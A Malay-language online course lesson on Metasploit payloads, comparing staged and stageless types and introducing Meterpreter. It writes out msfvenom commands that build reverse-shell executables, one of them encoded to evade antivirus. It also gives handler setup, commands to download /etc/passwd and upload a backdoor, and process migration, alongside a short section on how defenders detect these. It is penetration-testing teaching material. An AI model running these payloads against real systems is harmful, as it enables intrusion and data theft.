Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter
Pilih muatan yang sesuai untuk sesuatu senario dan gunakan Meterpreter selepas eksploitasi.
Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter ialah pelajaran Cyber Security Academy percuma di CoddyKit. Ini ialah pelajaran 3 daripada 4. Sebanyak 3 pelajaran dalam laluan pembelajaran ini boleh dibaca sepenuhnya secara percuma — selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan praktikal dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Pelajaran ini merupakan sebahagian daripada laluan pembelajaran Cyber Security Academy, dan kemajuan anda disegerakkan merentas web serta aplikasi CoddyKit. Kursus Cyber Security Academy merangkumi sejumlah 4 pelajaran.
Apakah Muatan?
Muatan ialah kod yang berjalan pada sasaran selepas eksploit berjaya. Muatan menentukan perkara yang diperoleh penyerang: cangkerang, pelaksanaan arahan, akses fail atau ejen berciri lengkap seperti Meterpreter.
Muatan Berperingkat berbanding Tanpa Peringkat
Muatan tanpa peringkat (/) mengandungi segala-galanya dalam satu binari — lebih besar tetapi lebih mudah, dan tidak memerlukan panggilan balik rangkaian selepas penghantaran awal. Muatan berperingkat (//) menghantar pemula kecil terlebih dahulu, yang memuat turun peringkat kedua daripada pengendali.
# Stageless (single slash naming):
windows/x64/shell_reverse_tcp
# Staged (double slash naming):
windows/x64/shell/reverse_tcp
# ^
# stage 2 downloaded after stager connectsBila Hendak Menggunakan Setiap Jenis
Gunakan muatan tanpa peringkat apabila sasaran tidak mempunyai akses internet/pengendali selepas eksploit awal — muatan tersebut mesti lengkap sendiri. Gunakan muatan berperingkat apabila anda mahukan muatan awal yang lebih kecil dan mempunyai sambungan pengendali yang boleh dipercayai.
Gambaran Keseluruhan Meterpreter
Meterpreter ialah muatan lanjutan Metasploit — berjalan sepenuhnya dalam memori, menggunakan komunikasi yang disulitkan dan menyediakan API yang kaya: akses sistem fail, pemindahan proses, pengelogan kekunci, pengambilan tangkapan skrin dan penggunaan hos perantara.
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > runArahan Meterpreter
Arahan Meterpreter penting untuk pascaeksploitasi: maklumat sistem, senarai proses, operasi fail dan rangkaian.
meterpreter > sysinfo # system information
meterpreter > getuid # current user
meterpreter > ps # process list
meterpreter > download /etc/passwd
meterpreter > upload backdoor.sh /tmp/
meterpreter > shell # drop to OS shellPemindahan Proses
Pindahkan proses Meterpreter ke dalam proses yang lebih stabil atau kurang mencurigakan (contohnya, explorer.exe pada Windows). Ini juga boleh meningkatkan keistimewaan jika dipindahkan ke proses dengan keistimewaan lebih tinggi.
meterpreter > ps
meterpreter > migrate 1234 # migrate to PID 1234
# Migrate to explorer.exe for stability
# Avoids termination if original process exitsMenjana Muatan dengan msfvenom
msfvenom menjana fail muatan kendiri (EXE, ELF, APK, kod cangkerang) untuk dihantar melalui pancingan data, serahan USB atau cangkerang web dalam ujian yang dibenarkan.
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f exe -o payload.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f elf -o payload.elfMulti/Handler untuk Menangkap Cangkerang
Modul tambahan multi/handler menangkap sambungan cangkerang balik. Konfigurasikannya dengan muatan, LHOST dan LPORT yang sama seperti yang digunakan dalam msfvenom sebelum menghantar muatan tersebut.
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > run -j # run as background jobAsas Pengekodan dan Pengelakan
Pengekod msfvenom boleh mengaburkan muatan untuk mengelakkan pengesanan AV asas berasaskan tandatangan. Nota: EDR moden menggunakan pengesanan tingkah laku — pengekod sahaja tidak mencukupi untuk menghadapi pertahanan lanjutan.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f exe -o encoded_payload.exeMuatan Terikat berbanding Muatan Balik
Muatan balik bersambung dari sasaran kepada penyerang (lebih baik untuk NAT/tembok api). Muatan terikat mendengar pada sasaran — penyerang membuat sambungan masuk. Muatan balik menjadi pilihan dalam kebanyakan keadaan.
Pengesanan Muatan oleh Pihak Pertahanan
Pihak pertahanan mengesan Meterpreter melalui: tandatangan rangkaian (corak trafik arahan dan kawalan), pengimbasan memori (artifak suntikan DLL reflektif) dan analisis tingkah laku (pengosongan proses, hubungan induk-anak yang luar biasa).
Semakan Pantas
Apakah perbezaan antara muatan berperingkat dengan muatan tanpa peringkat dalam Metasploit?
Ringkasan: Muatan dan Meterpreter
Pilih muatan berperingkat untuk jejak awal yang kecil dan muatan tanpa peringkat untuk penghantaran yang lengkap sendiri. Meterpreter ialah muatan paling berkeupayaan untuk pascaeksploitasi: berada dalam memori, disulitkan dan boleh diperluas. Gunakan msfvenom untuk menjana binari kendiri dan sentiasa konfigurasikan multi/handler untuk menangkap panggilan balik.
Pelajari Cyber Security Academy dengan tutor kecerdasan buatan — percuma
Tulis dan jalankan kod sebenar dalam pelayar anda, dapatkan bantuan segera daripada tutor kecerdasan buatan yang tersedia 24/7, dan sambung semula dari tempat anda berhenti di web atau dalam aplikasi.
- Kursus
- 76
- Pelajaran
- 303
Soalan Lazim
Adakah pelajaran “Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter” percuma?
Ya — sebanyak 3 pelajaran dalam laluan pembelajaran Cyber Security Academy, termasuk “Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter”, boleh dibaca sepenuhnya secara percuma di web ini. Selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan interaktif dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Kursus Cyber Security Academy merangkumi sejumlah 4 pelajaran.
Apakah yang akan saya pelajari dalam “Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter”?
Pilih muatan yang sesuai untuk sesuatu senario dan gunakan Meterpreter selepas eksploitasi. Anda berlatih Cyber Security Academy menggunakan kod praktikal yang dijalankan terus dalam pelayar, manakala tutor kecerdasan buatan 24/7 menjawab soalan anda semasa anda mengikuti pelajaran.
Adakah saya memerlukan pengalaman untuk memulakan Cyber Security Academy?
Tiada pengalaman terdahulu diperlukan. Pembelajaran Cyber Security Academy di CoddyKit disusun untuk pelajar daripada peringkat pemula hingga lanjutan, jadi anda boleh bermula di sini atau dari awal dan belajar mengikut kadar anda sendiri. Ini ialah pelajaran 3 daripada 4.
Berapa lamakah pelajaran “Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter” diambil?
Kebanyakan pelajaran CoddyKit mengambil masa kira-kira 5–10 minit. Setiap pelajaran ringkas dan interaktif, jadi anda boleh membuat kemajuan secara berterusan dan menyambung tepat dari tempat anda berhenti di web atau aplikasi.
Bolehkah saya menulis dan menjalankan kod dalam pelajaran Cyber Security Academy ini?
Ya. Setiap pelajaran Cyber Security Academy menyertakan penyunting kod terbina dalam, jadi anda boleh menulis dan menjalankan kod sebenar terus dalam pelayar serta menerima maklum balas kecerdasan buatan serta-merta — tanpa memerlukan persediaan setempat.
Semua pelajaran dalam kursus ini
- Seni Bina Metasploit dan msfconsole
- Mengeksploitasi Kerentanan yang Diketahui
- Muatan: Berperingkat berbanding Tanpa Peringkat, Meterpreter
- Selepas Eksploitasi: Berpindah dan Berkekalan